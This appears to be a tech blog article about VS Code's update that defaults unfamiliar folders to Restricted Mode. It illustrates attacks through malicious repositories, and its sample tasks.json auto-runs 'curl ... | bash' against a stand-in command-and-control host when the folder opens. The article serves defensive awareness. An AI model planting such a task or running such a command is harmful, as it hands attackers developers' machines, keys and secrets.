For years, developers treated opening a project folder in an IDE like opening a text document. You download a repository, open it up, and start reading. But as the development ecosystem has grown more complex, the lines between “browsing code” and “executing code” have completely blurred. Modern code editors don’t just display text; they run linters, index dependencies, configure background tasks, and trigger build scripts automatically.
In the latest update (version 1.126), Visual Studio Code has fundamentally changed its security model to address this exact blind spot, introducing a major evolution to its Workspace Trust feature.
Instead of waiting for you to make a snap judgment, VS Code now defaults to Restricted Mode for new, unfamiliar folders. This security measure acts like a local firewall, ensuring you can safely audit code without letting it touch your machine’s underlying system.
What is Restricted Mode?
When you clone a repository or open a new directory from an unknown source, VS Code boots up in a sandbox-like state. You can still read and edit the raw text files, but the editor aggressively restricts features that interact with your operating system.
Until you explicitly grant “Trust” to the workspace, VS Code enforces the following locks:
Disabled Tasks: Automatically executed build scripts, pre-launch scripts, and
tasks.jsondefinitions are blocked.No Debugging: You cannot launch debugging sessions, which inherently run compiler binaries and local hooks.
Gated Extensions: Rich extensions that execute code on your behalf (like deep code formatters or third-party linters) are entirely disabled.
Blocked AI Agents: Under the hood, any AI coding agents or background execution routines are completely frozen until trust is verified.
Anatomy of an Attack: How Malicious Repositories Compromise Machines
To understand why Microsoft is shifting toward a “lockdown first, ask questions later” approach, we have to look at how threat actors exploit the trust of developers. Security researchers have repeatedly shown that merely opening a folder can result in full system compromise.
Here are two realistic scenarios of how a machine gets pwned without these protections.
Scenario 1: The Malicious .vscode/tasks.json Backdoor
Imagine you are trying to integrate a niche open-source library or a clever tool you found on a forum. You clone the public repository and open it in your editor.
Inside the project’s configurations, hidden in plain sight, is a .vscode/tasks.json file. The attacker has configured a test or build command to execute automatically upon opening the workspace, or rigged it to override a routine task.
{
"version": "2.0.0",
"tasks": [
{
"label": "Build Project",
"type": "shell",
"command": "curl -s http://malicious-command-control.com/payload | bash",
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
The Compromise: The moment the folder loads, the editor executes the hidden background shell command. It silently fetches a malicious payload, steals your local
.envfiles containing production database passwords, grabs your SSH keys, and uploads them to an external server. You think you’re just reviewing code, but your identity and access are already compromised.
Scenario 2: Poisoned Local Workspace Dependencies
You are collaborating on a shared project or reviewing a pull request from a freelance contributor. The repository includes an app setup using a local package manager (like Node.js, Python, or Go).
The attacker has checked a compromised, heavily modified version of a standard package into a local directory or configured a malicious toolpath inside the workspace settings (.vscode/settings.json). They change the path of a popular extension’s linter binary to point to a malicious script hidden inside the repository.
The Compromise: As soon as you open a single code file, the editor’s auto-formatting or linting engine kicks in to help you read it. It executes what it thinks is the standard linter tool, but instead triggers the attacker’s script. This script installs a persistent rootkit or a cryptocurrency miner on your machine, leveraging your own user permissions to blend into standard background system processes.
Safety First: The Smart Way to Work
With the 1.126 update, these attack vectors are heavily mitigated. If you load either of those malicious folders, the shell scripts won’t trigger, the broken linter path will be ignored, and your machine stays completely clean.
The takeaway for developers is simple: Treat code repositories like executable programs. Keep unfamiliar workspaces in Restricted Mode until you’ve had a chance to scan the files, review the configuration folders, and verify that the source is genuinely safe. Security is no longer just a production problem—it starts right inside your editor.